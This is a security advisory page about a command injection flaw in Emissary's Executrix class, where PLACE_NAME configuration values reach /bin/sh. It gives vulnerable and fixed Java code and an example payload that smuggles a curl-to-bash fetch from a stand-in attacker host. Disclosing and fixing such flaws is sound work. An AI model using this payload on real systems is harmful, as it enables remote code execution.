High

Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

  • Disclosed: 08.04.2026
  • Updated: 11.10.2026 12:22

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132):

java
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058):

java
protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}

Data flow

  1. PLACE_NAME is read from a configuration file
  2. Executrix applies only a space-to-underscore replacement
  3. The placeName is used to construct temporary directory paths (tmpNames[DIR])
  4. tmpNames[DIR] is concatenated into a shell command string
  5. The command is executed via /bin/sh -c

Example payload

PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

  • Arbitrary command execution on the Emissary host
  • Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:

java
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) gov.nsa.emissary:emissary < 8.39.0 8.39.0

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
Java / Kotlin (Maven)
Package
gov.nsa.emissary:emissary
Disclosed
08.04.2026
Updated
11.10.2026 12:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6c37-7w4p-jg9v - CC BY 4.0

Vulnerability history: gov.nsa.emissary:emissary

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
6
First → latest
03.2025 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 3
  • Medium 2

Disclosures per year

  1. 2025: 1
  2. 2026: 5
  1. Emissary has a Command Injection via PLACE_NAME Configuration in Executrix this entry
    High · 7.2 CVE-2026-35581 < 8.39.0 8.39.0
  2. Critical · 9.1 CVE-2026-35580 < 8.39.0 8.39.0
  3. Medium · 4.8 CVE-2026-35571 < 8.39.0 8.39.0
  4. High · 7.5 CVE-2025-27508 < 8.24.0 8.24.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.